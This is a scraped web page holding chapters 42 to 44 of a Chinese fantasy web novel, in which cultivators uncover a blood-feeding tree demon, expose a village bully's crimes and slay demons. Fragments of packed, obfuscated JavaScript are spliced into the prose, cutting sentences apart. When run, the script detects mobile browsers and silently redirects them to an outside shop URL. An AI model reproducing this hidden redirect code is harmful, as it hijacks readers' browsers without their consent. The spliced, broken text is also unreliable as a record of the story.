l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079439|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰,重新神气起来。 “可是,昨夜你真的看见她了吗?”有人迟疑着问道。 要知道,王公豹这人是娑罗村的一霸,仗着手里有几个臭钱,收买了一堆小弟,成日里跟着他横行霸道、为所欲为。 表面上,碍于他的权威,大家都不敢对他有什么意见。 但其实背后,人人对他嗤之以鼻。 就像黄家那闺女,本来有父母疼爱,生活幸福,却没想到,在一次上山拾柴火的时候,她被王公豹看见了。那时黄子衿恰好十八岁,头发黑亮,编成一条长长的粗辫子垂在背后。柔软饱满的胸脯将薄薄的衫子撑的紧绷绷的,脸庞清秀白皙,神情文静害羞,这样的一个姑娘,任谁都是无法不喜欢的。 王公豹只不过那么漫不经心的,瞥了她一眼,立马,半边身子就酥了。 自此,王公豹动了歪心思。 他去黄家提了亲。 可王公豹这样的人,黄父自然是看不上的,他斩钉截铁的把王公豹赶了出去,把他带来的那几箱子聘礼丢出门外。 当时,王公豹倒是没再纠缠。 可惜好景不长。 一天晚上,黄父去村口的酒肆打了二两白酒,提着酒葫芦回家时,被人在背后用一块大石头狠狠砸在后脑勺上。 黄父登时惨叫一声,眼前一黑,跌倒在地。 当黄母和黄子衿慌乱的打着灯笼出门找黄父时,他身后流的血,已经蔓延了一大滩。在红灯笼照耀下,更加触目惊心。 好事是,黄父并没有死。 但是,他自此再说不出话、也动不了了。只有那双眼,日日夜夜,炯炯的圆睁着。屈辱,不甘,愤怒……他们都知道凶手是谁,可是却那样无能为力! 黄母痛呼:“当家的啊——” 她终日以泪洗面,不多久,郁郁寡欢的离世。 黄家,只剩下了柔弱的黄子衿,还有躺在床上,连自理能力都没有的黄父。 而那凶手,在所有人的心知肚明中,洋洋得意的置身在事外。 就是这样的一个人,如今却说,他因为害怕村子里的大家受伤害,所以彻夜不眠的守夜,这才看见了黄青青子衿鬼鬼祟祟的行为。 大家要是真信他,这才有鬼了呢! 却只见王公豹一把撕扯住黄子衿的头发,凶狠的问道:“说实话,昨天晚上,你到底有没有鬼鬼祟祟往深山走!说!” 只见,被捆起来的黄子衿神情木然的,点了点头。 “大伙儿都看见了吧,她承认了!” 终于有人忍不住了,在人群里喊了一嗓子:“你这么逼她,她敢不承认吗?” 王公豹冷笑,慢慢松开扯住黄子衿头发的手:“好,我不逼你。” “反正都到这地步了,什么都说破了。现在在这里,有你们给她撑腰,她也不用因为怕我报复而撒谎。现在好了,你们问她,昨天夜里,到底有没有往山里走?!” 大家纷纷轻声安慰道:“子衿,别怕,我们在这里。” “是啊,那东西都害死多少人了,谁也不知道明天死的会不会是自个儿,这时候了,还怕他王公豹干什么?你说,我们都和你站一边。” “没错,子衿,他冤枉了你,你大胆说吧!” 却见木架上,黄子衿木然迟钝摇了摇头。 “昨天晚上,我是出门了,我也确实……想要去山上。”她慢慢的说。 “你……你去山上干什么?” 黄子衿摇了摇头:“对不起,我……不能说。” 此话一出,人群瞬间便炸开了。 王公豹和他手下小弟们眼露凶狠而喜悦的光芒,叫道:“看吧,她就是那东西!赶紧烧了她,一切就都太平了!” 楚欢实在是看不下去了,正要上前,却被钟乐一把抓住手腕,对她摇了摇头。 45. 第42章 却见另有一个男子急道:“且慢!” 大家看去,只见是个面容清秀的小公子。这是公冶侯,三天前来到娑罗村,听他自个儿介绍说,他是一名修士,可以帮大家解决“那东西”。可是…… 到目前为止,他还是什么都没有捉住。 此时,公冶侯急的额头上汗都冒出来,道:“王公子且慢!我觉得那东西绝不可能是黄姑娘。” “哦?”王公豹眸色一深,逼近公冶侯。 公冶侯虽是个修士,但身板单薄、脸色苍白,有一种气血不足的羸弱感,且神色中常含一种怯怯之态,这让他看起来很好欺负。 王公豹人高马大,比他高出足足一个头来,这么凶神恶煞的一瞪他,吓的他连向后退了好几步。 但他所说的话语,仍是十分的肯定:“绝、绝不会是黄姑娘。” 大家本来就觉得王公豹在胡说,此时纷纷赞同维护公冶侯道:“是啊,是啊。” “怎么可能会是子衿?” 王公豹恶狠狠的盯着公冶侯,皮笑肉不笑道:“好,好,那请问这位小神仙,为什么又确定不是她?” 公冶侯紧张的擦了擦汗,道:“黄姑娘若真是‘那东西’,有神不知鬼不觉吸干成年男女精血的本事,却又怎么会被王公子你看到、又这么轻易的就被捉住呢?更何况,”他举起手,向大家展示他手中拎着的物事,“我已经确定那是什么了。” 只见他手中,是一串灰白色、散发着淡淡瓷片质感的风铃。 一小孩看这玩意儿漂亮,不由上手拨动了两下,却没有听到声响。 公冶侯歉然道:“此物名为骨风铃,是乃死人骨头所做。” “……” 人群中,立马传来那小孩被他父母打的嗷嗷大哭的声音,打毕,又拉着他匆匆离开、洗手去了。 公冶侯道:“这骨风铃的奇特之处,便是它不像寻常风铃那样,摇动、或是被风吹动就能发出声响。” “那是?”大家奇了。 公冶侯道:“骨风铃乃亡人之骨所做,所以,只有当遇到另一个亡人的时候,两者同源本宗,它才会发出清脆声响。” “亡人——死掉的人——那不就是——” 大家的眼神逐渐惊恐起来:“鬼?!” 王公豹叱道:“胡说?这世上哪有鬼!” 却有几个人,面色逐渐变的凝重。昨日,公冶侯曾请他们帮忙,将这骨风铃在每家每户门前都挂了一遍,有些人家是不响的,有些人家则一挂上就立马发出急促的声响,而发出这些声音的人家——恰恰就是被那东西吸□□血、死过人的! “他说的不错,死了人的人家,这骨风铃都响了!” 这几个人纷纷既敬且畏,一下子拥到公冶侯身旁:“大师,大师,神仙,救我们!” 王公豹却还是不相信:“鬼神之说,根本就是无稽之谈!” 要真有鬼,那黄子衿那哭死的娘岂不是第一个就来报复他?他怎么还会好好的活了这么长时间? “明明是人,是黄子衿!她要去山里面杀人,她是个怪物!” “不,不是,是鬼,相信我们,我们亲眼所见……” 一时间,两边争执,人心惶惶。 这时,钟乐向前一步,朝大家道:“诸位,那些死去的人,可否让我们一见?” 大家见她是个陌生面孔,便知道又是一个从别处来帮助他们的修士。虽然对她能解决问题没报什么希望,但人家一番好心,也不好多推辞,于是,便很快打发两个人去把那些尸体抬了过来。 一年纪大些的长者好心提醒道:“姑娘,可能有些臭。” 臭——何止是臭! 简直是这世上最恐怖、最诡异、最直冲天灵盖的臭! 钟乐极力忍住那种再度翻江倒海的感觉,掀开这几具尸体上的白布—— 只见,平常鲜活的人,此时都像是脱水的老树皮一样,变得皱皱巴巴,缩小了不少,并且,连厚度也没有了,平摊着,只剩了薄薄的两张皮。透过黄白的油脂,隐约可见里面还夹杂着一些血块、骨头渣子。 死者都为青壮年男女,皆遗留有小孩。孩子们在一旁呜呜呜叫着爹娘,哭泣不止。 钟乐看了这些小孩子一眼,合上白布。 负手走了两圈,沉吟。 她再度抬头,神情已变得胸有成竹。 “我知道那东西是什么了。” “哦?”大家本来没报希望,但见她如此笃定,不由都喜道:“是什么!” 钟乐却微微一笑,卖了个关子:“得等到明天,我才能告诉大家。” 大家一头雾水、满心好奇。 可是,钟乐却不肯继续说下去了。 她环顾四周,发现不远处有一口井水,便来到井水边,对着这口井、一连做出好多让人眼花缭乱的手势,而后一合掌,气定神闲道:“成!” 大家面面相觑,不知她这是在做什么。只听钟乐道:“我刚刚对这口井中的井水施了法,将它变成了圣水。只要喝了这圣水,今晚便不会再受到那东西的伤害,等到明天我抓住了那东西,娑罗村就太平了。” 大家将信将疑,犹豫着,不知道该不该喝那圣水。 王公豹却没有迟疑,一马当先,打了一桶水上来,舀出一碗,咕嘟咕嘟的一干二净,一抹嘴,恶狠狠道:“老子喝了!看哪个妖魔鬼怪敢近老子的身!” 他手下那些小弟见他喝了,也咽口口水、慷慨赴义般的上来,各喝了一碗水。 渐渐的,喝的人越来越多,到最后,只剩下几个疑心病重的,你望我,我望你。 最最终,见别人都喝,自己不喝不放心,也俱喝了。 人群散去,楚欢一抬指,那桶水中升出细细的一股,直升到空中。楚欢端详了一会儿这清澈的水柱,挑眉道:“圣水?”钟乐骗得了凡人,却骗不了她。这里面,可并没有什么神奇的法术啊。 钟乐却笑吟吟道:“等明天,自见分晓。” 楚欢面上不动声色,心中却已觉得钟乐这人装神弄鬼、并不可靠了。从方才所见,她倒是觉得那黄子衿身上疑点重重,颇有调查一番的必要。 公冶侯举着他那骨风铃,试图说服楚欢道:“公子,千真万确,我这骨风铃不会错响。”又转向钟乐道:“姑娘,真的是鬼。你们不要再用这没有法力的圣水骗人了,我们今晚一同去捉鬼吧!” 二人却不为所动。公冶侯默默叹息,看来,今晚只能他一个人去捉鬼了。他咽口口水,为自己鼓起勇气。 午夜时分。 钟乐走出房门,望向娑罗村背后的群山。透过雾蒙蒙的瘴气,可见一个巨大的、虬枝盘曲的东西,张牙舞爪的矗立在山巅。 钟乐:“那是树?” 王公豹白日里扯了件自己为保大家平安、在村口守夜之事,话已出口,他不得不多做两天样子。此时他百无聊赖的守在这里,困的哈欠连连,闻言,没好气道:“哪个树?” 钟乐:“山上的树。” 闻言,王公豹立马清醒:“山上的?” “你问那个干什么?” 钟乐瞧他语气紧张,奇道:“不干什么,就问问,它有什么来头吗?” “来头可大着呢!”王公豹肃重道:“那可是我们娑罗村的神树!早在几百年前,娑罗村还未建村时,它就已经在这里了。到后来有了这村子,一开始,也各种气运不顺,干旱、瘟疫等各种天灾频发,直到有一日,一个风水师父指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大家离神树已近在咫尺,在一阵一阵的热浪中,努力睁开眼,既惊且惧、却又避免不了好奇心的密切注视着这场打斗。 只见平日里端庄肃重的神树,此时就好像被惹怒的怪物,挥舞起千万条丝丝缕缕的根须,四面八方的朝钟乐包围而去。 但钟乐一袭红衣纷飞,不慌不乱,以滔天烈火烧退根须,在灿烂火舌中穿行躲避,最后来到娑罗神树的树根下。 “我乃上古娑罗神树!尔等凡人岂敢造次!!!”娑罗神树竟然开口说话了。 且不难听出,这声音饱含盛怒。 上古神树?钟乐蔑然一笑,这就是一只活了上千年的老树妖! 趁这树妖尚未修出人形,她得尽快除了它。但事到临头,却发现手中缺少一把称心的兵器,用手将它这么粗大的树根劈断自然是不可能的,于是钟乐沉吟片刻,一撸袖子—— 活生生将这娑罗树妖向上拔起三寸! “我修炼千年,慧根天成,今日若你敢伤我,我定将——” 钟乐:“你又能怎么样?” 夜色下,滔天的火光中,寂静片刻,那娑罗树妖的语气忽变得幽幽而诡秘:“你爱的,会离你而去。你所要守护的,会化为飞灰。你信任的,背叛你。你依赖的,抛弃你。”钟乐十分不乐意,这树妖临死之前还要耍嘴皮子,她一用力—— “我以娑罗神树的名义诅咒你,今生今世,永生永世,都将痛失所爱,不得善终——” 娑罗树妖声嘶力竭的咆哮消失了。 大家震惊的发现,在它被彻底拔出的树根下方,用以滋养它的,竟然不是土壤,而是暗褐色的人血。 “这、这到底是怎么一回事?” 46. 第43章 黑夜散尽,黎明来临。 灿烂阳光倾泻而下,这山上的瘴气,消散的干干净净,连空气都变得清新起来。 “这究竟是怎么一回事啊?”大家望着被烧的焦黑的娑罗树,久久无法反应过来。 钟乐被熏的满脸黑烟,用手背抹了几下,问道:“以前,这娑罗树是不是比现在要小一些呢?” 村里的老人们一回忆。 好像,还真是这样。几年之前,这娑罗树是要比现在小许多。而几十年之前,就小的更多了。 而寻常树木,虽然也会长大,但是却没有长的这么快的。 只是,从前他们一直都没有在意过这个点。 钟乐微笑道:“那么,就不难理解了。” 这娑罗树,原本只是一个法力十分低微的小树妖。 有一日,娑罗村的先祖们来到此地定居。妖与人势不两立,这小树妖憎恨凡人,于是一开始,也自然而然,用他那小法力做了些坏事。例如吸干方圆几十里的雨水,让娑罗村发生大旱,再用它的根须传播瘟疫,使这里好一阵子鸡犬不宁。 后来,有一日,有一个风水先生来到此地,一通胡编乱扯,将那树妖说成了一棵神树。 却没料到娑罗村的先祖真信了那话,开始勤勤恳恳供奉起这棵树。 钟乐微笑道:“至于供奉的祭品到底是什么……想必大家也能猜到一二了。” 一个须发全白的老者面色一变,许久,缓缓道:“……人。” 娑罗村年轻些的村民皆是一惊! 那老者叹道:“先祖们发现,将活人当做祭品、供奉给那树后,一切的天灾瞬间消失,娑罗村重新变得风调雨顺、土壤肥沃。” 而那树妖,得到凡人的精血滋养,享受凡人叩拜与供奉,倒真的一时忘乎所以,将自己当成了神树,开始庇佑他们。 那老者道:“但是后来,娑罗村先祖们都觉得此法不妥。娑罗树既为神树,就不该贪图凡人的血肉。更何况,谁愿意把自己家的人送出去当祭品呢?”于是,当天灾消失后,他们就停止了供奉。 而娑罗树失去凡人精血的滋养,法力无法提升,再次变得愤怒。 但是,此刻它的法力已经变强,不必再使用降下天灾的法子,而是有了更好的计划。 钟乐问那老者道:“这百十年来,娑罗村其实一直都有人死去吧?” 老者顿了顿,叹道:“不错,只是……” “死的人太少了。” 十多年、二十多年才死这么一个。更何况,就算不被吸取精血,凡人也会有生老病死。于是这样的死亡一直没有引起大家的注意。 直到近日,死的人突然开始变多,人人都开始担忧,下一个会不会是自己。 娑罗村的事,这才引发关注。 但,因这种杀人的法子和当日献祭的死法完全不同,所以一直以来,都没有人将它和那娑罗树联系起来。 钟乐道:“根据众人的说法,无论过去还是如今,这娑罗树害的,都是青壮年男女。而昨日,我却发现,它想害的,其实并不是青壮年男女——而是已经生过孩子的男女。只不过,生孩子的人本大都是青壮年男女,这才引起了混淆。” 村里人恍然大悟的发现,果真如此!那些死了人的男女,个个都有孩子! “树妖这东西,若不能修成人形,便只能留在原地无法移动。而这娑罗树妖又想杀人以获取精血,这时,它会怎么办呢?”钟乐从那焦黑的树枝间摘下一朵尚完好的花朵,四片淡白色花瓣间,吐出七个橘红色的花蕊,好似毒蛇吐信。 “它通过树上的花朵,散播花粉,制造幻境,让那些生过孩子的男女被迷惑、自愿进入深山,来到它的身边、供它吸食。” “而那幻境的内容,也就很清楚了——它伪造出孩子的哭声,让那些父母以为,自己的孩子在深山中遭遇危险。” 那些失去父母的孩子们,呆呆站在一旁,纯真的眼睛中充满泪水。 而其他村民们也颇为动容。 这世间的情感有许多种。而那娑罗树妖最为肯定能够为它所利用的,不是男女之爱,不是亲友之爱,而是,父母之爱。 “本来,若是像以前一样,不那么贪心、十几年才吃一个人的话,也不会引起这么大的风波。可是,这娑罗树妖吸取的精血越多,它的修为就越高深,离化为人形也就越来越接近,它,也变得越来越贪婪。” 此时,外界修士们也都已经注意到了娑罗村。 “这时候,若它能及时收手,它还是有机会自保——树妖的好处,便是妖气微弱,极难为修士所察觉。可是,它离化为人形只差一步之遥了,它怎么会甘心在这时候停下来?” 钟乐抬手,山下村子里那口井水中的水升高,细细的旋转着,到了山上。 钟乐看着这股清澈水柱,道:“昨日,我在这水中加了一滴血。” 一滴血? 大家面露困惑。 钟乐道:“娑罗树妖急不可耐,在昨夜仍旧用幻境引诱了一位母亲,而她在白日里喝了加血的井水,我便能通过‘血引之术’,追踪她的轨迹。最终,这才发现了这娑罗树的奥秘。” 所以,归根到底,还是贪心不足。 不过,钟乐觉得,除了贪心害己之外,这树倒真是有几分聪明的。 它深知人性之弱,以父母亲情之爱设下陷阱。而且,钟乐猜测,若是这树妖不那么急于求成的话,它杀了生育有孩子的父母,留下孩子,十几年后孩子们长大、成婚、生育,它又有了可杀害的对象。 这个村子,一代又一代,便都将沦落在它的圈养掌控之中。 如今它自己作死,倒也干净。 “可是……”赵婶子犹犹豫豫道:“那鬼又是什么回事?还有……子衿那孩子又是怎么回事?她为什么也往山上去?难不成……” “不错,她的确有事瞒着我们。”楚欢押着黄子衿从山下走来。 昨晚一夜,她都在盘问这个女子。 她已经能够确定,这女子一定有一桩不可告人的秘密。 可是,这秘密到底是什么,这女子却无论如何都不肯告诉她。 楚欢十分挫败。转而看到一旁的树妖尸体,宽慰一些,觉得钟乐还是有几分可靠的。再一转眼,看到钟乐满脸焦黑色烟灰,被手指一抹,留下三道引子,活像是一只花脸猫。 “哈哈哈,给你,擦一擦吧。”楚欢从随身携带的包袱里掏出一面小巧的圆镜。 钟乐接过,对着明镜擦脸。 楚欢看着她,某一个瞬间,忽然灵光一闪:“她不愿开口,难道我们就真的不能知道了吗?” 大家奇道:“这要怎么……” 楚欢志得意满的看着那面小镜子:“过去之事,既已明确发生过,那么借助法力,将那番场景重现一翻,又有何难呢?” 她向小圆镜施法,但发觉法力还不够,于是朝钟乐点点头。 钟乐会意,帮助楚欢施法。 小圆镜金光闪闪,升到空中。 看着看着,众人的脸色越来越差。而王公豹的神情则越来越狠戾。 原来,一段时日之前,娑罗村因此事吸引来了一大批修士。其中就有一位风光霁月的白衣修士,在村里住了一段时日后,与黄子衿互生恋慕,情定终生……黄子衿怀了他的孩子。 二人一事,本来是瞒着村里人的。却没料到,王公豹对黄子衿的不轨之心一直都未打消过,派手下小弟日夜盯着黄子衿的动静。 得知她和那修士在一起后,王公豹震怒,随即冷笑。 在一个月黑风高的夜晚,王公豹面色慌张、说是家中好像有“那东西”,将那修士请到了他家里。然后,那修士再也没有出来过——他们对“那东西”,打起了十分的警惕。可是,对娑罗村的百姓,却是丝毫没有防备之心的。 黄子衿没有等到心爱之人回来,而等到了凶神恶煞的王公豹。 他关上黄家院门,一脚接一脚的踢在黄子衿的肚子上! 四周无人,只有瘫痪在床的黄父,从喉咙中发出嗬嗬的怒响,双眼圆睁的快要裂开……最后,在无力的绝望中咬舌自尽。 “所以,你往深山走,是因为你也……拥有过一个孩子,你也曾经是一个母亲。”楚欢一时手足无措,单纯的大眼睛中出现惊惶之色。 “对不起,我不是有意……我还以为你和那妖怪有勾结……” 黄子衿木然的表情终于裂开一道缝隙,没有焦点的眼睛眨了眨,泪水缓缓流下:“爹娘不在了,所爱之人不在了,我的孩子……也不在了……” 要孤注一掷的揭穿他、报复他吗?一个未婚先孕的女子,她的清白不允许她这样做。 只能死。 唯有死。 “好消息!好消息!”此时,山下忽有一个人满脸喜色、气喘吁吁的举着一串骨风铃跑上来。正是公冶侯。 他激动的一张苍白的脸都红了:“我捉到鬼了!骨风铃不再响了!大家以后再也不用怕了!” “什么?”“这又是怎么回事……” “真有鬼?” “可作恶的不是娑罗树妖吗?” 的确是娑罗树妖,这世上并没有鬼。不过,人死之后,是有魂魄的。 钟乐望着那些哭泣的孩子们,悲悯的道:“是他们的父母。” “那些人为娑罗树妖所害,死后留下魂魄。因害怕许多年后,娑罗树妖再次对他们的儿女下手,所以他们不愿入转世轮回,将他们的魂魄强留在了世上。可是,魂魄与活人毕竟已阴阳两隔,所以虽然他们一次又一次穿过他们家的院门,用尽全力的试图警告他们的孩子,可是,那只能是一场徒劳。” “然后这时,公冶带来了骨风铃。” 骨风铃甫一挂上,便立马发出急促的的声响。风铃的声音本是清脆动听的,可当它毫无节奏、疯狂响个不停时,听在任何人耳中,都会觉得不安、觉得它象征着凶兆。 这就是所谓的,“鬼”。 而当娑罗树妖被除去,那些爱子心切的父母知道自己的孩子不会再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116170|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有危险,执念散去,魂魄,便也不再弥留、开始转往下一世了。 骨风铃,当然也就不再响动。 “爹——娘——” 这些小小的孩子们闻此,悲伤的嚎啕大哭起来。一个个稚嫩的脸颊哭的通红,泪水如金豆一样颗颗砸落在地。 “你们别走!” “娘,小宝以后再也不会惹你生气了,你等等小宝……” “爹!爹!我还给你端洗脚水啊!爹!” “别走……” “这是……”公冶侯惊呼了一声—— 他手中的骨风铃,忽然重新响动起来。只是这次,不再像上次一样急促、烦躁、疯狂、声嘶力竭,而是轻轻的、温柔的、释然的。清脆的风铃声缓缓响起,仿佛往日笑眼弯弯的爹娘重新出现在孩子们的身侧,微笑着,慈爱的叮嘱他们最后一句话。 “天冷时,别忘添衣……饭前饭后,勿忘洗手……爹娘虽不在身边,可是爹娘将永生永世的爱着你们……” “一定,要好好长大。” 风铃声止,一阵微风轻轻吹拂过孩子们的脸颊。 三月鸟鸣,春光明媚。 娑罗村,又变成了它最初的样子。 钟乐、楚欢、公冶侯三人得到了村民们的热情款待。一连数日被大家哄抢着拉到自己家去吃饭,并将多年积攒下来的银钱死活塞进他们手中,且不停的问还能为他们做些什么事才足够报答…… 楚欢和公冶侯来此处,纯粹是因一颗满怀热血的正义之心,别无所求。而钟乐眨了眨眼,问村子里是否有铁匠。 娑罗村中那位身材结实、满脸忠厚老实的刘铁匠立马站出来,问钟乐有什么需要帮忙,钟乐笑吟吟的说道:“我想要一把剑。” 好!一把剑! 刘铁匠二话不说应承下来。 又问,她想要什么样形、尺寸、以及剑身上要镂刻何种花纹。 钟乐对此毫无要求:“最简单的就可以。” 她要是提具体的要求,刘铁匠还觉得好办一些。 但她只说“最简单”,刘铁匠反而犯了愁。 当然不能最简单了,这可是他们村的救命恩人!可是,如何才是能够让她最喜欢的“最简单”呢? 刘铁匠日思夜想,愁的饭也吃不香、觉也睡不好,几天下来,整个人瘦了一圈。 最后,他干脆大门一合——闭关了! 等到刘铁匠半月之后出关,他双手中,捧着一把通体漆黑的长剑。看起来虽普通,却其实,十分的不普通。这把剑剑身、剑柄的尺寸都专为钟乐量身打造,分毫不差。而材质,是他珍藏多年、没舍得用的玄铁,据说削铁如泥。 并且,在锻剑之时,他还往其中融入了一颗“火树银花”宝石。 娑罗村往南九千里,就是赫赫有名的白帝城。这白帝城之所以出名,其一,就是它盛产各种名贵稀有的宝石。 而这“火树银花”,则更是名贵中的名贵、稀有中的稀有,百年才出此一颗。 据说,白帝城主曾心爱这“火树银花”、心爱到夜晚睡觉都要将它放在枕头边的地步。 只可惜后来,妖物势大,逐渐超出凡人之上。白帝城虽尽力与群妖一战,但终究,不敌妖物。 白帝城战败后,群妖狂欢,在城中进行了一场声势浩大的屠杀。这场屠杀,整整持续了九天九夜,白帝城百姓的鲜血,染红了方圆百十里的草木,染红了方圆千百里的河流…… 这,便是第二桩让白帝城闻名天下的事了。 群魔乱舞,诡象迭生,大厦将倾,乱世将至…… 不提也罢!不提也罢! 还是说回这“火树银花”,自白帝城被妖怪们占领,那些粗鄙的妖物们,并不能理解与欣赏这些宝石的美丽,而是将它们当做普通的石块,大把大把的揣进兜里,四处掉落,无人珍惜。 而刘铁匠在机缘巧合之下得到这块“火树银花”,并因感念白帝城主面对妖物时不畏不惧、宁死不降的风采,而将它妥帖珍藏起来,则又是另一个故事了。 “火树银花”单看时,焕发出的是这世界上最瑰丽、最流光溢彩的橘色光华。 而此时它被融入了这把剑中,只见在阳光下,乌黑发亮的剑身之上,泛出淡淡的、温润的光泽,却又不失作为剑本身的肃杀与压迫之气。 钟乐接过剑,笑眼弯弯:“好剑,好剑!” 而此时,三人在娑罗村已经逗留多时,也该告别辞去了。 可走出几步,楚欢却忽地一皱眉头,道:“我们好像还漏了一只妖。” 钟乐眯了眯眼:“咦,果真。” 话音落下的刹那,手中长剑盘旋飞出,转了一个圈子后又回到她手中。 鲜血汇聚成珠,自剑尖滴滴落下。公冶侯呆了一呆,不由升起几分喜色,赞道:“果、果真,是一把好剑。” 三人衣袂飞扬,迎风远去。 身后,一个圆圆的东西骨碌碌滚了很久,最后,掉落到了一条臭水沟里。 那是王公豹的头颅。 47. 第44章 深蓝色天空中,金黄的圆月袅袅升起。 钟乐放眼望去,只见万亩瓜田,其中生长着一只只饱满多汁的碧绿西瓜,习习凉风拂来,让人心旷神怡。 只是,除了那只妖物…… 它有着油一样光滑的皮毛,两只小黑眼睛滴溜溜转动,爪子中抱着只啃了一半、露出鲜红瓜瓤的西瓜,灵活的在西瓜藤蔓间穿行。 为防瓜田被烧,钟乐不敢放火,只眯眼瞄准,手中参商剑吟啸着向那妖飞去。却没料到,那妖不仅不向远处逃、反而灵活的躲开参商,朝她□□窜了过来! 钟乐一奇,划破手指,点点鲜血如漫天飞舞的萤火虫,漂浮在空中。 “收!” 霎时,鲜血组成一个天罗地网般的法阵,将那妖罩在了其中。 “呜,呜呜呜!”那妖试图逃脱,可一旦沾到一点鲜血,身上皮肤便如被烈火灼烧,疼的它眼泪直流。 钟乐走过来,用一根捆妖索将它绑起来,留出索链一端,将它拎起来。 这妖剧烈挣扎:“放了我,放了我、呜呜!” “修士!原来这、这就是偷瓜贼?!”瓜农们见钟乐拎来这样一只小兽,纷纷惊呆了。 他们一年到头,就指望着这些西瓜成熟、采摘、然后能卖个好价钱了。却没想到,最近不知是何人,把瓜田里还未成熟的小瓜苗踩踏的七零八落,把那些成熟的甜美饱满的大西瓜摘下来、啃的左一个豁口、右一个豁口。 更可恨的是,他吃就罢了,却还不肯好好的吃!一只瓜,只啃那么两三口,就丢到一旁、又摘一个新的瓜来糟蹋! 大家一直猜想,这是几个调皮淘气的小娃娃在故意捣蛋,却没想到,竟然是这样一只从未见过的小兽! “据我所知,这家伙应当是只猹妖。”钟乐把它往上拎了拎。 这猹可怜巴巴的将四只小短腿在空中蹬来蹬去。 “妖!”大家顿时吓了一跳,齐齐后退:“太恐怖了!这瓜田被破坏已经有一段日子,也就是说,这些时日来我们身边一直有一只妖?快、快看看哪家哪户少了人?有没有被妖怪杀害?” 杀人嘛,这个倒不用紧张,钟乐笑道:“这种妖虽油滑,却十分胆小。它不吃人,只吃瓜。” 原来是这样,大家放心许多,渐渐的又敢到前面来了。 有一两个瓜农家的小孩子,觉得它憨态可掬、十分可爱,动了想将它养成一只宠物的心思,挤眉弄眼的瞧着自己爹娘。 做爹娘的,哪能不知道自家孩子的心思? 但他们心里却老大不情愿——就算不吃人,可它毕竟是一只妖呀!更何况,照它这么糟蹋西瓜的速度,恐怕到最后,他们穷的连自己都养不起,更别提什么养猹了! 可是到底,自家的孩子,不宠着他,又能有什么办法? 一个瓜农便期期艾艾的朝钟乐道:“修士,我们也知道它是个妖怪,可是,能不能给它做一个啥紧箍咒之类的戴上,让它就算想伤人也没办法?然后,我们再教育教育,一日三餐,一餐就给半颗瓜,让它改掉浪费的陋习。然后,我想着,把它给我们家宝儿当个玩伴……” 瓜农话未说完,眼已瞪直了。 一旁几个小孩子们,见到这种残忍景象,一时,又害怕又伤心,呜呜呜的哭泣了起来。 “别哭,”钟乐将那猹妖的头踢到远处,擦干净参商血迹,认真的对大家道:“它是妖。就算今天不害人,它明天也会害人,妖就是妖,坏就是坏,这是没有办法改变的事。所以,在我们有能力杀了它的时候,一定不能心慈手软。把它做宠物、和它一起玩耍的事,就更是想也不要想了。” 小孩子们哭的更伤心了:“你骗人!坏姐姐!” 钟乐严肃几分:“我骗人?” 妖物之势已经越来越强,自白帝城血战后,人族已经意识到,他们与妖族的战争,才刚刚拉开序幕,而这一战,也一定是漫长而艰苦卓绝的。 血海深仇、奇耻大辱,这是轻轻松松便能够化解的东西吗? 想到此,钟乐干脆一团烈火烧出,将这猹妖的下半身尸体烧了个焦巴烂。 “……” 孩子们静默几秒,哭的更加大声了。 有一个伤心的一哽一哽,鼻尖上挂了一串又长又晶莹的泪水,思索几秒,走到钟乐身旁,伸手—— “啪”的清脆一声,他将钟乐扇了一个大嘴巴子。 “……”钟乐懵了。 那孩子的爹娘也懵了,顿时将这孩子好一番教训打骂,并一个劲儿的对钟乐道歉,在她临走前还塞给她两个最大最甜的西瓜。 钟乐捧着两个瓜走出瓜田,楚欢和公冶侯已经等待多时了。 钟乐给他们一人一颗瓜,解释道:“没什么,一只小猹妖,已经死了。” 鉴于夜色已深,三人决定找一家附近的客栈先借宿一晚。到了客栈,一问,却只剩下了两间房。 公冶侯抱着瓜,谦卑的问楚欢道:“要不楚公子,咱们两人将就一晚?” 楚欢抱着瓜,闻言睁大了双眼:“什么!” 钟乐在郁闷之余也不禁觉得好笑极了。而公冶侯见楚欢神情惊诧,以为自己冒犯,连忙双手合十、慌里慌张的道歉个不停。却不料手中西瓜被这么一松手,掉地上摔成了好几瓣,鲜红的西瓜汁流的到处都是,简直像是杀人现场。 他却不知道,楚欢一惊之下,是随之而来的狂喜—— 她还以为,她楚大小姐女扮男装十分失败,明眼人一眼就看得出来。 却没想到,真的有一个傻子以为她是男人呢! 楚欢这可来了兴趣,心道他既信,那我便且装。 于是一边帮忙收拾碎掉的西瓜,一边笑眼弯弯道:“好啊,我自然是没意见了。” “乐儿,乐儿,快来!” 一个五六岁左右、神情明媚的小姑娘跑了过来。 那呼唤她的夫妻两个,男人着一身月牙白锦袍,袖口处镶绣金线祥云,身形清瘦,气度优雅。他将锦盘中一样东西抖落开,霎那间,满室流光溢彩。 原来那是一匹布料。 它本身就已经瑰丽无比,更别说,此刻它折射了明月的光华,更加显得晶莹剔透、举世无双。 女人站在他身侧,瞳若秋水,素手纤纤,轻轻的抚摸着这匹布,满心欢喜。转眼看到小姑娘,蹲下来,摸摸小姑娘的头发,笑眼弯弯的道:“乐儿快来看看,爹娘新得了一匹布料,”男人笑道:“叫做鲛锦。” “是,鲛锦,”女人道,“给乐儿做件新衣裳好不好?” 